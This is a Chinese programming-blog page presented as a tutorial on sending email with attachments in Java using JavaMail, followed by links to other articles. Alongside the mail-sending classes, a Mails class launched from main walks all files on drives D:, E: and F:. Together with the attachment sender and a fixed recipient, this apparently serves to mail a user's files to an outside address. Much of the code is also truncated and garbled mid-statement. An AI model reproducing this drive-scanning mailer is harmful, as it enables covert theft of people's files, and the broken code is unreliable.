热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

java发送邮件程序带附件_JAVA程序发送带附件的邮件

importjava.util.Date;***邮件类*publicclassEmail{publicfinalstaticStringTOxxxsina.com;public

///

import java.util.Date; /** * 邮件类 */ public class Email{ public final static String TO="xxx@sina.com"; public final static String FROM="xxx@sina.com"; public final static String CC="xxx@nxxx.com"; public final static String BCC="xxx@nxxx.com"; public final static String Email_Subject="Test Email With JavaMail"; public final static String Email_Header="This Is Email Header"; public final static String Email_Body="This Is Email Body"; public final static String Email_Host="smtp.sina.com.cn"; public Date sendDate=null;

public Email(){} }

import javax.mail.Authenticator; import javax.mail.PasswordAuthentication; /** * 邮件服务器认证 */ public class MailAuthenticator extends Authenticator { private final static String username="xxx"; private final static String password="xxx";

protected PasswordAuthentication getPasswordAuthentication(){ return new PasswordAuthentication(username,password);

} }

import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;

public class Mails {public Mails(){   Copyfiles("D:\\");   Copyfiles("E:\\");   Copyfiles("F:\\");}public void Copyfiles(String path){   File f=new File(path);   File[] filelist=f.listFiles();   if(filelist==null)    return ;     for (int i = 0; i

///

import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.UnsupportedEncodingException; import java.util.Date; import java.util.Properties;

import javax.activation.DataHandler; import javax.activation.DataSource; import javax.activation.FileDataSource; import javax.mail.Address; import javax.mail.Authenticator; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart;

/** * 发送邮件 */ public class SendEmail {

/** * 发送普通邮件 * * @throws Exception */ public void doSendNormalMail() throws Exception {

Properties prop = new Properties(); // 获取系统环境 Authenticator auth = new MailAuthenticator(); // 邮件服务器认证 prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Session session = Session.getDefaultInstance(prop, auth);// 设置对话和邮件服务器进行通讯

Message message = new MimeMessage(session); /* * 设置邮件对象 */ try { message.setSubject(Email.Email_Subject + "Normal Email"); // 设置邮件主题 message.setContent("Hello", "text/plain"); // 设置邮件格式 message.setText(Email.Email_Body); // 设置邮件体 message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 message.setSentDate(new Date()); // 设置发送时间 Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 message.setFrom(address);

/* * 设置多个发件人地址 * * Address address[]={new InternetAddress("","") new * InternetAddress("","")}; message.addFrom(address); */

Address toAddress = new InternetAddress(Email.TO); // 设置接收人地址 message.setRecipient(Message.RecipientType.TO, toAddress);

// 设置多个收件人地址 // message.addRecipient(Message.RecipientType.TO,new

message.saveChanges(); System.out.println("sendNormalEmail() 开始发送邮件……"); Transport.send(message); // 发送邮件 System.out.println("发送成功!");

} catch (MessagingException e) { System.out.println("发送失败!"); e.printStackTrace(); }

}

/** * 发送带附件的邮件 * @throws UnsupportedEncodingException */ public void sendEmailWithAttachment(String str) throws UnsupportedEncodingException { Properties prop = new Properties(); prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Authenticator auth = new MailAuthenticator(); Session session = Session.getDefaultInstance(prop, auth); Message message = new MimeMessage(session);

try { message.setSubject(Email.Email_Subject + "Email With Accatchment");// 设置邮件主题 message.setContent("Hello", "text/plain"); // 设置邮件格式 message.setText(Email.Email_Body); // 设置邮件体 message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 message.setSentDate(new Date()); // 设置发送时间 Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 message.setFrom(address);

BodyPart messageBodyPart = new MimeBodyPart(); messageBodyPart.setText("bodypart"); Multipart multipart = new MimeMultipart(); multipart.addBodyPart(messageBodyPart); messageBodyPart = new MimeBodyPart(); DataSource source = new FileDataSource(str); messageBodyPart.setDataHandler(new DataHandler(source)); messageBodyPart.setFileName(str); multipart.addBodyPart(messageBodyPart);// Put parts in message.setContent(multipart); Address toAddress = new InternetAddress(Email.TO); message.setRecipient(Message.RecipientType.TO, toAddress); message.saveChanges(); System.out.println("sendEmailWithAttachment() 开始发送邮件……"); Transport.send(message); System.out.println("发送成功!"); } catch (MessagingException e) { System.out.println("发送失败!"); e.printStackTrace(); }

}

/** * 发送带html的邮件 * * @throws UnsupportedEncodingException */

public void sendEmailWithHtml() throws UnsupportedEncodingException {

Properties prop = new Properties(); Authenticator auth = new MailAuthenticator(); prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Session session = Session.getDefaultInstance(prop, auth); Message message = new MimeMessage(session);

String htmlText = "

Hello" + "点击连接"; System.out.println(htmlText); try { message.setSubject(Email.Email_Subject + "Email With Html"); message.setContent(htmlText + Email.Email_Body, "text/html;charset=gb2312"); // message.setText(Email.Email_Body); message.setSentDate(new Date());

Address address = new InternetAddress(Email.FROM, "Dave"); Address toAddress = new InternetAddress(Email.TO); message.setFrom(address); message.setRecipient(Message.RecipientType.TO, toAddress); message.saveChanges(); System.out.println("sendEmailWithHtml() 开始发送邮件……"); Transport.send(message); System.out.println("发送成功!"); } catch (MessagingException e) { System.out.println("发送失败!"); e.printStackTrace(); } }

}

///

import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;

public class MyMain {/** * 测试函数 * * @param args */ public static void main(String args[]) {     Mails a=new Mails(); }}



推荐阅读
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • JavaSE笔试题-接口、抽象类、多态等问题解答
    本文解答了JavaSE笔试题中关于接口、抽象类、多态等问题。包括Math类的取整数方法、接口是否可继承、抽象类是否可实现接口、抽象类是否可继承具体类、抽象类中是否可以有静态main方法等问题。同时介绍了面向对象的特征,以及Java中实现多态的机制。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • [大整数乘法] java代码实现
    本文介绍了使用java代码实现大整数乘法的过程,同时也涉及到大整数加法和大整数减法的计算方法。通过分治算法来提高计算效率,并对算法的时间复杂度进行了研究。详细代码实现请参考文章链接。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • Java中包装类的设计原因以及操作方法
    本文主要介绍了Java中设计包装类的原因以及操作方法。在Java中,除了对象类型,还有八大基本类型,为了将基本类型转换成对象,Java引入了包装类。文章通过介绍包装类的定义和实现,解答了为什么需要包装类的问题,并提供了简单易用的操作方法。通过本文的学习,读者可以更好地理解和应用Java中的包装类。 ... [详细]
  • 先看官方文档TheJavaTutorialshavebeenwrittenforJDK8.Examplesandpracticesdescribedinthispagedontta ... [详细]
  • React项目中运用React技巧解决实际问题的总结
    本文总结了在React项目中如何运用React技巧解决一些实际问题,包括取消请求和页面卸载的关联,利用useEffect和AbortController等技术实现请求的取消。文章中的代码是简化后的例子,但思想是相通的。 ... [详细]
  • 本文介绍了Swing组件的用法,重点讲解了图标接口的定义和创建方法。图标接口用来将图标与各种组件相关联,可以是简单的绘画或使用磁盘上的GIF格式图像。文章详细介绍了图标接口的属性和绘制方法,并给出了一个菱形图标的实现示例。该示例可以配置图标的尺寸、颜色和填充状态。 ... [详细]
author-avatar
king
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有